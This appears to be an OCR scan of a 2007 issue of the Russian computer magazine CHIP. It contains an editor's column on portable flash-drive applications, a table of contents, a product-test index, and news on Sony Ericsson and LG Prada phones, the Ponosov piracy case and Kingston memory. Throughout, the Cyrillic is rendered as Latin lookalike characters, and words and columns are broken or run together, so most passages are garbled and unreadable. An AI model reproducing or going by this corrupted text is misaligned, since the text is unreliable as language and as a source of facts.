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rnaBHbm penaKTop an? 
AHflpeii KoKoypoB 


no pacneTaM aHajiHranecKOH KOMnaHHH IDC, 3a o^hh tojibko nponuiBra 
TOA MHpOBBIM HH(})OpMaiJ:HOHHbIM COOdlljeCTBOM 6bIJIO C03#aH0 OKOJIO 
161 MHjijiHapAa rara6aHT itncjDpOBoro KOHTeHTa. 3 tot odbeM ^aHHbix b TpH 
MHjijiHOHa pa3 npeBBimaeT KOJinnecTBo HHcJiopMaitHH, KOTOpan cottepxHTCir 
bo Bcex KHurax, H3,ztaHHBix 3a bck) HCTopnK) nejiOBenecTBa. 

HacTB 3Toro itncjDpOBoro 6oraTCTBa HaxoflHTCH Ha Haninx c BaMH cjmeni- 
ApaHBax. 

Ho 3 th nojie3HBie cjmeniKH KpOMe xpaHeHHH h nepeHOca HHcjDopMaitHH 
HMeiOT h eme o^ho npHMeHeHHe — hx moxho HcnojiB30BaTB b xanecTBe 
o6biHHoro BHHnecTepa rjiz ycTaHOBKH nporpaMM. PeajiH3yeTC5T tslkslr bo 3- 
M03CH0CTB HeCKOJIBKHMH Cn0C06aMH. 

U3 Smart. Ojieni-^paHBBi, noMeneHHBie TaKHM 3HaHKOM, hmciot cneitHajib- 
Hyio o6ojiOHKy, cpe^CTBa HiH(})poBaHH5T ^aHHBix h Ha6op npettycTaHOBjieH- 
HBIX npHJI03CeHHH. Ha HHX TaiGKe M03CH0 yCTaHOBHTB AOnOJIHHTeJIBHBie cne- 
HjHajiBHBie U3-BepCHH nporpaMM. 

Portable Applications. Tax Ha3BiBaeMBie nepeHOCHbie Bepcnn nporpaMM ^jin 
ycTaHOBKH Ha jnoGbie cjDJiem-ApanBBi, b tom nncjie Ha U3 Smart. K coxajie- 

HHK), HX KOJIHHeCTBO HeBeJIHKO. 

Ceedo. Ecjih y Bac ecTB xejiaHne hjih HeodxoflHMOCTB hmctb Bcepaa npn 
ce6e Ha6op onpettejieHHBix npHjioxeHHH, to 3Ta nporpaMMHan odojionica 
(www.ceedo.com) CTaHeT rjisl Bac HacTOimjeH HaxoAKOH. Be#B OHa no3BOjnreT 
ycTaHaBjiHBaTB Ha 4>jiem-ApaHBBi jno6Bie npHjioxeHHir! Ceedo npeBpamaeT 
o6bihhbih (jDJiem-ApaftB b HacTOimtHH nepeHOCHoit KOMnbiOTep c jho6bim 
H adopOM nporpaMM, rapaHTHpyiontHH nojiHyio KOHctm^eHitHajiBHOCTB 
BameH ^enTejiBHOCTH . 

H xaxoe 6 bi pemeHne bbi hh BBidpajm, b jho6om cjiynae cjDJieni-flpaHB c ycTa- 
HOBjieHHbiMH Ha HeM nepeHOCHbiMH npHjioxeHHiiMH CTaHeT BamnM Ha/tex- 
HblM nOMOHJHHKOM B pa3Hbix CHTyaitHHx. 

noapodHyK) HH(J)opMau:HK) o nepeHOCHbix npiuioaceHHiix h roTOBbie Hadopbi npo- 
rpaMM ot CHIP HLHHTe b CTaTbe «Hy f ztecHbie nporpaMMbi rjw 4>jieni-flpaHB0B». 



a.kokourov@burda.ru 
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2mm Ha cawT www.ichip.ru, 
npmvm ynacnie b ro/iocoBamiM 
u no/iynii maHC BbmrpaTb nonnucKy 


HOBbIM CepBMC 
Aim HMTaTenei 


Ha HaiueM carne Bee we/iaioiAMe MoryT noAe/imbca 
MHctDopMauneM o cbomx /ifo 6 nMbix nporpaMMax. 


AApec www.ichip.ru/download — pj\n Bcex, kto 
niAeT mi n y>Ke Haiue^ caMbm jiynwHM coc|dt! 



•sun 


Ha cafiTe www.ichip.ru/download noflBi/uicfl cne- 
Ana^bHbm pa 3 Ae^, b kotopom Bbi, yBa>KaeMbie pa 3 - 
pa 60 THMKM, M 0 >KeTe pa 3 MeCTMTb CBOM nporpaMMbi. 


Ec^m y Bac ecTb MHTepecHa^ nporpaMMa, nmume 
HaM Ha aApec soft@ichip.ru m 3axoAme Ha caMT. 
Mbi 6yAeM paAbi coipyAH i/inecTBy ! 


3tot CHIP 
cyujecTByeT 
Bflsyx 
BapMaHTax 
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H3H? COflEP)KAHME 



NEWS & TRENDS 

6 Hoboctu m 3 MMpa KOMnbHnepoB 
M KOMMyHMKaUMM 

24 Chip Radar 

CpaBHem/ie ayflMOKOfleKOB Ana n/ieepoB 

26 Panasonic HD Networking 
Seminar 2007 

063op hobi/ihok, npefldaBJieHHbix Ha npo- 
LueflLLieM b MmiaHe ceMMHape KOMnaHi/iM 
Panasonic 

30 CSI: MecTO npecTynnemin HmepHeT 

nepBaa Haem M3 cepi/n/i ciaieM o bo3mo>k- 
Hbix pMCKax npH nyiewecTBrn/i no 1/lHTep- 
Heiy: onacHocTb CTaTb wepTBOM Kpocc- 
caMT-CKpi/inTMHra 

34 Pamifl b cotobom cem 

Pe3y/ibTaTbi TecmpoBaHMn ycnym 
Push-to-Talk b cem onepaiopa «Merac|DOH» 

40 HcnaHCKMe motmbm 

063OP HOBbIX yCTpOMCTB I/I TeXHOnOTMM, 
npeAdaB/ieHHbix Ha npomeflujeivi 
b Bapce/iOHe KoHrpecce 3GSM 


TOP STORY 

3Be3flHbiii uiKMnep 

B/iaroflapn KOMnaKTHbiM GPS-MOAynflM 
cnyTHHKOBan HaBnrapi/m Tenepb cia/ia 
AOCTynHOM He ToobKo aBTO/iio6mejiHM, 
ho i/i nemexoflaivi 

TEST & TECHNICS 

KoMy HyMHa Vista? 

Bee noflpodHocTM o HannyHLueM cnocode 
nepexofla Ha HOByio OC 



54 


60 llpoBepKa OC Ha 6e30nacH0db 

Mbi cpaBHHJii/i 3aiMMLAeHHOCTb Linux, Mac 
OS X i/i Windows XP Ha npeflMeT 6e3onac- 
Horo cepc|3MHra no Cem 

64 TeKCTOBbiii penaKTop 
ma3aMH nonb30Baienfl 

Ted OCHOBHbIX TeKCTOBbIX peflaKTopoB 
i/i BbmBJieHMe nynweM 3 aivieHbi MS Word 

70 OnTHKa Oynymero 

nepBbie MOfle/ii/i npMBOAOB ciaHAapia 
Blu-ray: pe3yn bTaTbi TedOB dbicipo- 
AencTBi/in i/i KanecTBa 3anncn 

74 Hefloporoii 3D-TypHHp 

CpaBHmeHbHoe TecmpoBaHi/ie 19 Bi/iAeo- 
nnaT cpeAHero ypoBHfl domviocTbio ao $200 

82 Hnnceibi nun Core 2... 

CpaBHi/ueobHoe TecmpoBaHi/ie h i/i n ceio b 
I ntel P965, Intel i975X m NVIDIA nForce 
680i SLI Ha npopeccopax Core 2 Duo m 
Core 2 Quad 

88 Meraied 46 xcecTKiix amckob 

CpaBHmeHbHoe TecmpoBaHi/ie 
3,5-AfOMMOBblX >KeCTKI/IX AUCKOB 
c HHTepc|3ePicaMH IDE m SATA 


HeAoporoM 

3D-TypHMp 

B 3tom Tede Mbi cpaBHM/iM 19 BMAeon/iaT 

Ha ocHOBe Han6o/iee noKynaeMbix Ha 
ceroAHaiiJHMM momcht peiueHMM ot NVIDIA h 
ATI — HaHMHaa c npocTeMWMx GeForce 7300 m 
X1300 M 3aKaHHMBaa CaMbIMM MOLAHbIMM BepCMJIMM 
7600 m X1600. BMede c TeM Mbi BbiAe/iM/iM 
M3 hmx OBepK/ioKepcKMe m pa3omaHHbie 
HenocpeACTBeHHO npoM3BOAMTe/ieM MOAe/iM 



B COTOBOM CeTM 

B BHBape 2007 rofla GSM- 

onepaTop «Merac|30H» 3anycTM/i 
b KOMMepqecKyio 3Kcn/iyaiauMio 
HOByio yc/iyry Push-to-Talk b MocKBe m 
neiep6ypre. Mbi peuiM/iM npoiecTupoBaTb 
3TOT Heo6blMHbm CepBMC, FI 03 B 0/1B K) UJj, MM 
npeBpaTMTb Mo6M/ibHbm Te/iecJ)OH b 
npocTeMuiMM aHa/ior nepeHOCHOM pauMM 



HyAecHbie nporpaMMbi 
A/in USB-HaKonMTe/ieM 

BcerAa MMeTb c co6om 

npMBbiHHbie nporpaMMbi 
oneHb yAo6HO. 3anMUJMTe Ha c|3/ieLU- 
ApaMB oamh M3 HaiaMx nporpaMMHbix 
naxeTOB Ana BOCdaHOB/ieHMa ashhux, 
pa6oTbi c AOKyMeHTaMM, Be6-cepc|DMHra, 
My/ibTMMeAna m VoIP-Te/iecjDOHMM 


92 Mo6HHbHaii KnaccHKa 

063OP HOyTdyKOB C|DOpM-C|3aKTOpOB 
12-15 AfOHMOB CTOMMOCTblO 

$800-3000 


98 Pa3HOdopoHHee Beiitamie 

BoceMb TB-noHepoB nemipex pa30MHHbix 
CfDOpM-C|3aKTOpOB 

102 Mona Ha iiihpokhm tpopiviaT 

MoHMTopbi c AnaroHa/ibK) 20 awmmob 

106 150 npoueccopoB fljia I1K 

h Hoyi6yKOB 

HanMHan c amro HOMepa TecT BMAeo- m 
peHTpa/ibHbix npopeccopoB aan b nomopa 
pa 3 a 6 onbLue: AodaB/ieHbi Taioxe CPU 
Ann HoyTdyKOB 

110 Hardware Express 

KpaTKMM 0 d 30 p HOBbIX yCTpOMCTB 

124 npei-a-nopie 

HoBbie B03MO>KHocm MoOMJibHbix npopec- 
copoB Marvell ceivieMCTBa MXA3XX 

126 TOP 5 

flawflwecT nyMiiinx npoflyKTOB 


DOWNLOAD/DVD 

118 KOMMepieCKHH COtpT 

063op HOBbix KOMMepnecKMx nporpaivnvi 

120 Freeware Deluxe 

JlyHLUMe Oecn/iaTHbie nporpaMMbi 

122 TeneBM3op Ann flK 

063op nporpaMM Ana padoTbi c TB-TK)HepaMM 

PRAXIS 

130 }Kerie3Han CBH 3 b 

HacTpoMKa MapwpyTM3aTopa fl(ia pa6oTbi b 
K anecTBe nmepHeT-ni/iKm flOMawHeP ceTM 

136 TiOHHHr poyiepoB 

06HOB^eHMe MMKponporpaMMbi poyiepa 
noMO>KeT ynyMiiimb ero xapaKTepMCTMKM 

140 HynecHbie nporpaMMbi 
fl/ifl USB-HaKonmeneM 

Mbi noAroTOBMHM nmb nporpaMMHbix 
naxeTOB Ha Bee cnynaM >km3hm, KOTopbie 
mo>kho 3anycTMTb c cjDneuj-ApaMBa 
Ha nioOoM KOMnbioiepe 

144 ycKopneM C03flaHne BHpeo 

OAHy M3 pecypcoeMKMx 3aAan mo>kho onmMM- 
3MpoBaTb pacnpeAeneHHbiM KOAi/ipoBaHMeM 

150 llopTpeT b CTHiie non-api 

ypoKM Photoshop: CTMnM3apM/i c|doto noA 
padOTbi xyAOKHMKa Poa JlMXTeHLUTeMHa 

152 Bama codCTBeHHan c|)0T0M03aMKa 

CoOMpaeM penbHoe M3o6pa>KeHMe 
M3 MHO>KeCTBa KapTMHOK 

154TIPPS & TRICKS 
162 ANNOUNCEMENT 
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410 llPOflVKTOB B TECTAX 


HARDWARE 

BMflEOllJlATbl 

Foxconn 8800 GTS 320 M6afrr 19 

MSI, Sapphire, ASUS, Powercolor, Foxconn 74 

ATI m NVIDIA 109 

MP3-flJlEEPbl 

LGUP3 Plus 14 

Cowon iAudio U3 (1Gb), iRiver U10 (1GB), Cowon iAudio U2 
(1Gb), TEAC MP-400 (512 MB), Apple iPod nano (1GB) . . 127 
Cowon iAudio 6, Samsung YP-K5Q, Apple iPod nano II 8GB 

(MA497), Samsung YP-Z5Q, Cowon iAudio F2 128 

MEflMATlJlEEPbl 

X-Cube X-505 8 

MAPIUPyTM3AT0Pbl 

D-Link DIR-450 16 

D-Link DI-604 136 

Linksys WRT54 136 

>KECTKME flMCKM 

WD1600BEVS Scorpio 17 

Hitachi, Samsung, Seagate, Maxtor, WD 88 

Seagate Momentus 5400.2, Toshiba MK 1233 GAS, 

Fujitsu MHV2120BH, Fujitsu MHV2120AT, 

Toshiba MK 8032 GSX 128 

CD-PECMBEPbl ABTOMOBMJlbHblE 

Sony CDX-GT410U 22 

MOHMTOPbl 

NEC MultiSync 20WGX2, EIZO FlexScan S2110W, Dell 
UltraSharp 2007WFP, ASUS PW201, Philips Brilliance 
200WP7ES, Belinea 102035W, Fujitsu Siemens ScaleoView 
S20-1W, Samsung SyncMaster 205BW, Acer AL2032W . .104 
ViewSonic VX2025wm, LG Flatron L204WT, 

BenQ FP202W 105 

Samsung SyncMaster 740T, ViewSonic VX724, BenQ 

FP71V+, BenQ FP71V, iiyama ProLite E1700S 127 

HOyTBYKM 

DelIXPS Ml 210 93 

BenQ Joybook S31 , Sony VAIO SZ2XRP/Cs 94 

HP 500, LG LW40-4555 95 

ASUS A8Jp, Acer Aspire 5101AWLMi 96 

Samsung R65, ASUS G1 P 97 

BenQT-31 110 

Dell XPS Ml 71 0, Sony VGN-AR21 S, Fujitsu Siemens Amilo Xi 
1 526, Amilo Xi 1 546, Lifebook Q201 0, Acer Aspire 9802 
WKMi, Sony VAIO VGN-TX3XRP/B, HP Compaq nc 2400, 

Samsung Q40 Pro, Lenovo IBM ThinkPad X60s 129 

OT1TI1HECKI1E llPMBOflbl 

LG GBW-H10N, NU HBR-258 70 

LG GSA-H10N, Samsung SH-S182M, Samsung 
SH-S182D, Samsung SH-S183A, LG GSA-H20L 127 

nPIIHTEPbl 

Lexmark X9350 10 

Brother HL-5240, Samsung ML-3051N, 

HP LaserJet P2015n, Oki B4250, Lexmark E340 127 

HP Color LaserJet 3600 N, Oki C5600N, Epson Aculaser 

Cl 1 00, Lexmark C522, Samsung CLP-51 0 129 

npouECCOPbi 

Marvell MXA320 124 

MobmibHbie npoqeccopbi AMD v\ Intel 107 

flecKTon-npoqeccopbi AMD m Intel 108 

OllEPATMBHAfl llAMHTb 

Kingston DIMM ValueRAM DDR2 registered ECC 7 

CMCTEMHblE TIJlATbl 

Foxconn N68S7AA, Foxconn P9657AA-8EKRS2H, 

Intel Desktop Board D975XBX 82 


CMCTEMbl OXJIAXCflEHMfl 

Thermaltake Symphony Mini 110 

AKVCTMHECKME CMCTEMbl 

Logitech Z-10 110 

<DOTO- M BMflEOKAMEPbl 

Samsung L700 18 

Canon EOS-1 D Mark III 22 

Panasonic DMC-FZ8 26 

Panasonic SDR-S10 27 

Panasonic DMC-TZ3/DMC-TZ2, 

Panasonic HDC-SD1/HDC-DX1 28 

Panasonic Lumix DMC-LX2, Canon PowerShot A620, 

HP Photosmart R927, HP Photosmart R967, Canon 
PowerShot A630, Nikon D80, Canon EOS 400D, Nikon D40, 

Canon EOS 350D, Olympus E400 128 

Sony Cyber-shot DSC-N2, Fujifilm FinePix F30, 

Casio Exilim EX-Z1000, Casio Exilim EX-Z600, 

Sony Cyber-shot DSC-T10 129 

llEPMOEPMMHblE YCTPOMCTBA 

Apacer Handy Steno 10 

USR9640 Mini Cam for Skype 12 

TRENDnetClearSky 18 

Pretec CompactGPS, GlobalSat SD-502, Haicom HI-303. . . 48 

Logitech diNovo Edge Ill 

Acorp WBD1-C2/WBD2-C2 112 

MOBMJlbHblE VCTPOMCTBA 

Sony Ericsson K810i/W880i 6 

Motorola L7e, Nokia 5500 Sport, Sony Ericsson Z525i, 

Siemens CX75/M75 38 

Motorola Q gsm/q9, Nokia E61i/E90, Samsung 

SPH-P9000/M8100 42 

LG KE850 PRADA, Nokia 6110 Navigator, Samsung 

Ultra Smart F700, Motorola Z8 43 

Siemens SXG75, Benefon Twig Discovery 46 

Fujitsu Siemens Pocket LOOX T830, HTC P3300 49 

Sony Ericsson M600i, USRobotics USR9630 112 

SOFTWARE 

OnEPALlMOHHAfl CMCTEMA 

Windows Vista 54 

TEKCTOBblE PEflAKTOPbl 

[R] Software Editor, PolyEdit, Atlantis Word Processor, 

Microsoft Office Word, OpenOffice.org Writer 64 

M0HTA)K BMflEO 

Ulead MediaStudio, Easy Video Joiner, VirtualDub 144 

FREEWARE DELUXE 

FireFTP, Gnumeric, SuperCopier 2, KlipFolio, ColorPic, Ditto, 

PeaZip, Schmap Player 120 

KOMMEPHECKMM COOT 

Adobe Photoshop Lightroom, Telling Stories, Avira Personal 
Edition, SPB Mobile DVD, MobTime Cell Phone Manager 1 1 8 
nPOrPAMMbl flJlfl TB-TWHEPOB 

DScaler, FlyDS, ChrisTV Professional 122 

nPOrPAMMbl flJlfl USB-HAKOriMTEJlEM 
ClamWin Portable, Reg-seeker, McAfee Avert Stinger, Crap 
Cleaner, Abiword portable, OpenOffice portable, EssentialPIM, ■ \ ’ 

PDFCreator, Currency Converter, Thunderbird, Sunbird, \ 

Thunderbird, Torpark, Limewire, FileZilla, NVU, Gaim, 

Portable Skype, TeamTalk, Miranda IM, Audacity, Mediaplayer ■' ^ 

Classic, VLC Media Player, CDex, Multimedia Center, 

Medialnfo, Titanion, Sudoku 140 ?' A 


Mofla Ha UJlipOKMM CjDOpMaT 

^ >KecTKan KOHKypeHLtMn 

I \M npon3BOflme/ieM 

MOHMTOpOB npMBe^a K 
TOMy, HTO 20-fltOMMOBbie 
UJMp0K0C|30pMaTHbie MOfle/lM 
CTom y>Ke fleweB/ie $500. 

Ho BbicoKOKanecTBeHHbie 
pemeHun noKa flOBO/ibHO flopom 
Pe3y/ibraTbi TecTupoBaHnn 
12 MOHMTOpOB M HaiilM COBeTbl 
noMoryT onpefle/iMTbai c Bbi6opoM 

Tiohhht poyTepoB 

rifl KaKne npeMMyutecTBa 

I MO>KeTflaTb no/ib30Ba- 

Te/iio o6HOB^eHMe MMKponporpaMMbi, Kan 
npaBM/ibHO nepenpoujMTb m HacrpoMTb MapwpyTM3aTop, 
hto mo>kho cfle/iaTb cbommm cM/iaMM, ec/iM b pe3y^biaie 
anrpeMAa Bam poyiep BbiMfleT M3 cipon? 




KoMy Hy>KHa Vista? 

A KaK nepeHecTM flaHHbie Ha hob\ 
KaKMe nporpaMMbi coBMecTMMbi 


W* KaK nepeHecTM flaHHbie Ha HOByio OC? 
W"T KaKMe nporpaMMbi coBMecTMMbi c Vista? 
rioTpe6yeTcn m anrpeMfl KOMnbioiepa? OTBeTbi Ha 
Ba>KHbie Bonpocbi Bbi HaMfleie b stom ciaibe 





\ 


CoflepwaHMe chip 

Download/DVD 


AUSLOGICS BOOSTSPEED 

SMARTFTP 

VMWARE WORKSTATION 

CneqManbHan Bepcnn yinnmbi flon onTMMM3aqnM 

MHorocpyHKqMOHanbHbm m becnoaTHbm FTP-K/iMem 

flon TecTnpoBaHnn no n npoBepKM KOHCpMrypaqm/i oo- 

onepaqnoHHOM CMCTeMbi 

Ann HeKOMMepnecKoro ncnonb30BaHnn 

KanbHbix ceiew He Hy>xeH HacTonmiMM KOMnbiOTep 

KINGDIA DVD RIPPER 

MEDIAMAN 

SECURITY ADMINISTRATOR 

llpocTOM cnocob npeBpaimb DVD b cpaiio cpopMaia DivX npoflBMHyian CMCTeMa BefleHMn yneia Kon/iexqHM 

06e3onacbTe cbom nK ot HeonbiTHbix nonb30BaieneM 

R0CKETD0CK 

BLAZE MEDIA PRO 

XDESKPH0T0 

YflobHan naHenb 3anycKa b CTmie Mac OS X 

yHMBepcanbHbm MyjibTMMeflMMHbm KOHBepiep 

l/lHTepaKTMBHbm cpoToanbboM Ha Paboneivi done 

^ IWJlHblM CnUCOK HPOrPAMM. OnVBJIHKOBAHHbIX HA CHIP DVD H HA CAHTE WWW.ICHIP.RU/DOWNLOAD ■ 1 14 
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HD!? NEWS & TRENDS 


HOBblE TEJIEcDOHbl OT SONY ERICSSON 


EflNHCTBeHHblM M HOIlOBTOpilMblM 


B c|3eBpa/ie 2007 rofla KOMnaHMM 
Sony Ericsson aHOHCMpoBa/ia 
HOByfo jinHePiKy Te/iecfDOHOB. 
MoAe/ibHbin p^A ycTponcTB, Bbi- 
no^HeHHbix b K/iaccnnecKOM 
c|3opM-c(DaKTope A npeflCTaB^eH 
Ma/io6K>A>KeTHbiMn annapaiaMn 
JllOi n J120i, KaMepoc|)OHaMn 
Hana/ibHoro ypoBHfl K200i n 
K220i, Te/iec|30HaMH cpeAHero 
K/iacca K550i n W610i, a Taione 
Ton-MOAe/i^MM K810i n W880i. 

Hto KacaeTCfl JllOi n J120i, 
K200i n K220i, to Hnnero opnrn- 
Ha/ibHoro 3Aecb Sony Ericsson He 
npeACTaBn/ia: ocraeTCfl KOHcra- 
TMpOBaTb, HTO B MaJ106K)A>KeTH0M 
ceKTope ycTponcTB M3BecmbiPi 
npon3BOAMTe/ib ycTynaeT cbomm 
KOHK ypeHTaM. A bot moac/im 
cpeAHero K/iacca, K550i n W610i, 
npoAO^>KaK)T jiyHwne TpaAnunn 
KOMnaHMM Sony Ericsson. 


KaK BcerAa Han6ojibwnPi mh- 
Tepec npeACTaB/i5iK)T MOAe/in 
Bbicmero ueHOBoro Anana30Ha. 
KaMepocf)OH K810i jh B ji53eTC5i 

AajibHeMiuMM pa3BMTneM MOAe/in 
K790i. KaKnx-/in6o npnHAnnn- 
a/lbHblX M3MeHeHMM He npon30iu- 
/io, 3aTO Sony Ericsson Bbino/i- 
HM/ia pa6oTy HaA own6KaMn, 
ycTpaHMB HeAOCTaTKM, HaPiAeH- 
Hbie nojib30BaTe/iflMM. Y K810i 
Ha 3aAHePi KpbiiuKe Kopnyca no- 
iiBM/iMCb n/iaBHbie o6BOAbi, npn- 
KpbiBafoiAMe 3amyiuKy 06-beKTM- 
Ba KaMepbi. KpoMe Toro, 6bi/io 
Aopa6oTaHo 110, OTBenafoiAee 3a 
o6pa6oTKy c|30Torpac|3MM. Ho 
maBHoe, hto b 3tot annapaT 
Sony Ericsson BHeApn/ia noA- 
Aep>KKy TexHO/iorm/i FOTA — 
6ecnpoBOAHoe o6HOB/ieHne 
nporpaMMHoro o6ecneneHM5i 
(npoLUMBKM Te/iec|)OHa)! 



17 MM 


9.4 MM 


MimilJMMJl BecnTl15r 
npn TomuMHe Kopnyca 17 mm, 
b to BpeMR KaK Walkman W880i - 
71 r npn 9,4 mm 


OAHaKO caMoPi MHTepecHon 
hobmhkom CTa/i W880i — nep- 
BbiM tohkmm Te/iec|DOH ot Sony 
Ericsson. B KOMnaKTHOM Kopnyce 
pa3MepoM 103x46,5x9,4 mm n 
BecoM 71 r yMecrn/icfl no/iHO- 
AeHHblM My/lbTMMeAHMHbIM p,eHTp 
c MP3-n/ieepoM (b KOMn/ieKTe 
nocraBjmeTCfl KapTa naM^TM M2 
Ha 1 r6aMT), 2-MerannKce^bHOM 
KaMepOM M OT/lMHHbIM QVGA- 
Ancn/ieeM. llepeAHflfl naHe/ib 
ycTpoMCTBa Bbino^HeHa M3 He- 
p>KaBeK)iAeM CTa/i m, 3aAHflfl 
KpbiLUKa Kopnyca c^enana M3 
nnacrma c 6apxaTMCTbiM noK- 
pbiTMeM Soft Touch. Bee AeTa/in 
W880i MAea^bHO noAorHaHbi 
Apyr k Apyry, HeT nmamx Bbi- 
CTynoB, /ifocfDTa n np. Walkman 
W880i 6yAeT oahoPI m3 jiyHwnx 
MOAe/iePi Ha mmpobom pbiHKe. 
www.sonyericsson.com 


GSM-TEJ1ECD0H OT LG 


HOBblN MHTept|3eMC, flM3aMH OT KyTlOp 



KOMnaHMM LG Electronics n kom naH ha 
PRADA o6t>flBV\n\A o BbixoAe CBoero nep- 
Boro Mo6n/ibHoro Te/iec(DOHa c no/iHOCTbK) 
CeHCOpHbIM 3KpaHOM . IJpHMeHaTe/lbHO, 
hto ynacTMe KOMnaHMM PRADA b pa3pa- 
6oTKe hoboto npoAyKTa Bbi lujio 3a paM km 
3CTeTMHecKOM opraHM3aunM BHeiiJHero 
BMAa m pacnpocrpaHn/iocb Ha TaKMe Ba>K- 
Hbie 3/ieMeHTbi, KaK ycoBepiueHCTBOBaH- 
HblM CeHCOpHblPi MHTepc|3ePiC, Me/IOAMM 
3BOHKOB, npeAyCTaHOB^eHHblPi KOHTeHT, 
aKceccyapbi Mo6n/ibHoro Te/iec|DOHa m 
3KCK/lK)3MBHblM KO>KaHblPi HeXO/1, BbinOJl- 
HeHHblPi B nOJIHOM COOTBeTCTBMM c K/iac- 
CMHeCKMMM TpaAHUMflMM MT3J1 bfl HCKMX 
MaCTepOB MOAbl. 

Te^ecjDOH PRADA by LG ocHaneH Bbico- 
KOTexHo/iorMHHbiM ceHcopHbiM m HT epc^ePi- 
COM, KOTOpbIM 3aMeH5ieT Co6oPi TpaAMUM- 
OHHyfo K/iaBnaTypy, b 3HaHMTe/ibHOM Mepe 
nepeBOAfl onbiT o6paiAeHMfl c Te/iec(DOHOM 
B pe>KMM TaKTM/1 bH bIX OlAyLAGHMPi. B Ka- 


necTBe ocHOBbi A/ifl Hero 6bi/ia Mcno/ib30- 
BaHa M3BecTHa5i aHMMauMOHHa^i TexHo/io- 
rM53 Macromedia Flash. 

IbMpoKMM >KK-3KpaH o6ecneHMBaeT 
M3KCMMa/l bHO K0MC|30pTH0e BOCnpM51TMe 
BM3ya/ibHoro p^Aa, npeAOCTaB^^fl no^b- 
30BaTe/l K) LUMpOKyfO B03M0>KH0CTb AOCTy- 
na k ocHOBHbiM cjoy h K 14M53 m Te^ecf)OHa, K 
KOTopbiM othoc5itc5i 2-MeranMKce/ibHa5i 
KaMepa, BMAeon/ieep m cpeACTBO npo- 
CMOTpa AOKyMeHTOB. Hap^Ay c AaHHbIMM 
cjoy h k 14 i/i m m Te/iecf)OH OT^MHaeTC^ npeBoc- 
XOAHblM BHeiJJHMM BMAOM, A-n^ KOTOpOTO 
xapaKTepHbi r^aAKOCTb noBepxHOCTM m 
3^eraHTHa^i npocTOTa. 

B KOHue cf)eBpa/i5i 2007 roAa Te/iec|)OH 
PRADA by LG nocrynn/i b npoAa>Ky b cf)Mp- 

MeHHblX Ca^OHaX M06M^bH0M CB513M M 
M36paHHbix Mara3MHax PRADA Ha Teppn- 
topmm Be^MKo6pMTaHMM, OpaH L^M M, 
TepMaHMM m 1/lTa/inn. 

■ www.lgprada.com 




H3I? NEWS & TRENDS 


llOKA3ATEJlbHblM I1P0I|ECC 



AJ1EKC P flOHOCOB 


He y/iOBJieTBopeH 
npexpameHweivi flena npoiMB Hero h HaMepeH 
flodMBaTbCH onpaBflaieiibHoro npHrosopa 

AoexcaHAP IIohocob, 40-oeTHMPi 
AMpeKTop iij koo bi b ce/ie Cenbin b 
nepMCKoPi o6oacm, k cnacTbK), 
M36e>Kao HaKa3am/i5i 3a hyaobmla- 
Hoe HapyioeHMe aBTopcKMx npaB 


«nnpaTCKoe neno» 
cenbCKoro ynm enn 


KopnopauMM Microsoft. llpoTMB 
Hero 6bmo B036y>KAeHoyroooBHoe 
Aeoo no cJaaKTy Mcnoob30BaHMo Ha 
12 lOKO/ibHbix KOMnbfOTepax b 
K/Iacce MH(|DOpMaTMKM HeOMAeH3M- 
OHHoro coc(DTa Microsoft Ha cyMMy 
$10 000. 3a npocrynoK eMy rpo3M- 
oo ao noTM oenfopbMbi m lOTpacf) B 
pa3Mepe 266 000 py6oePi. 

CKopee Bcero, roco6BMHeHne 
AOKa3a/io 6bi ero BMHy, ecoM 6bi He 
BMeioa/iacb o6iAecTBeHHOdb. 3a 
AMpeKTopa lOKOObi BCTyni/1/incb 
6biBionM npe3MAeHT CCCP Mnxami 
rop6aneB, KOTopbiM HanpaBM o 
nncbMO Buooy rePiTcy, roaBa 
PocnenaTM Mnxano CecoaBMHCKMM, 
npeA/io>KMBioMM ynoaTMTb loipacf) 
3a lloHocoBa, a TaK>Ke npeAcraBM- 
Te/iM 06iAecTBeHHOM naoaTbi. 
ripe3MAeHT PO BoaAMMMp flyTHH B 


OTBeT Ha Bonpoc o cyAb6e 
lloHocoBa Ha3Ba/i o6BMHeHne b 
aApecynmeoo «HyiobK)». B KOHue 
(feBpa/io Aeoo 6bioo npexpameHo 
3a «Ma/i03HaHmeobHOCTbK), yn m- 
TblBafl 060p0Tbl KOMnaHMM 
Microsoft)). 

Microsoft noBe/ia ce6o MaxcM- 
MaobHo KoppeKTHo: KOMnaHi/m He 
craoa npeA'bOBooTb cjDMHaHcoBbix 
npeieH3MM Kynme/ifo, He noAAe- 
p>Ka/ia no3MAMK) roco6BMHeHMo, a 
npeACTaBmeoH poccuPicKoro ot- 
AeoeHMo ABa>KAbi o6paiAaoMCb k 
lloHocoBy c npeftno>KeHMeM m3bm- 
HMTbco, b pe3y/ibiaie Hero Aeoo 
6bmo6bi npeKpameHo. l/l3BMHOTbco, 
npaBAa, AoexcaHAP IIohocob He 
ciao, nocnmaB, hto 3to nocoy>KM- 

00 6bl npM3HaHMeM BMHbl. 

■ www.microsoft.com/rus 


MOflVJlM FI AM ATM KINGSTON 


Ha 6eccpoHHON rapamwi 



SUPERCHARGE 

you pe S rformance 


} Value pi 


KINGSTON 


HoBbie MOAyjiH nawiRTM DIMM 
ValueRAM DDR2 registered ECC ewixocTbrn 
4 fdaMT padoiamT Ha nacioie 533 h 667 Ml"q 


KoMnaHMo Kingston Technology 

InC., M3BeCTHblM npOM3BOAMTeOb 
MOAyoePi onepaTMBHoPi naMOTM 
Aoo nK, o6-bOBMoa o Bbinycxe 
CBoero HOBoro npoAyKTa DIMM 
ValueRAM DDR2 registered ECC 
eMKOCTbfO 4 r6aMT C TaKTOBOPi 
nacTOToPi 533 m 667 MI"a. HoBbie 
h m n bi 6bion pa3pa6oTaHbi cne- 
AMaobHO A/ifl toto, HTo6bi yaob- 
oeTBopMTb pacTynyK) noipe6- 

HOCTb B MOAyOOX BbICOKOPi 
eMKOCTM cepBepoB Ha 6a3e 
npoueccopoB AMD Opteron. 
Be3ynpeHHoe KanecTBO m Bbi- 
coxao eMKOCTb MOAyoePi npon3- 
BOACTBa Kingston npexpacHO 
COHeTaKDTCO C BbICOKOM npoM3- 
BOAmeObHOCTbK) M HM3KMM 
3HepronoTpe6oeHneM npouec- 
copoB AMD Opteron c apxmeK- 
TypoPi Direct Connect. 


Pa3BMTMe CBepXCKOpOCTH bIX 
KOMnbKDTepOB, KOaCTepHbIX Tex- 
HOOOTMM, CMCTeM BMpTyaO M33- 
[\m m 6noTexHooornPi npMBeoo 
K B03HMKH0BeHMK) nOTpe6HOCTM 
b 6ooee 6bicipbix m eM kmx mo- 
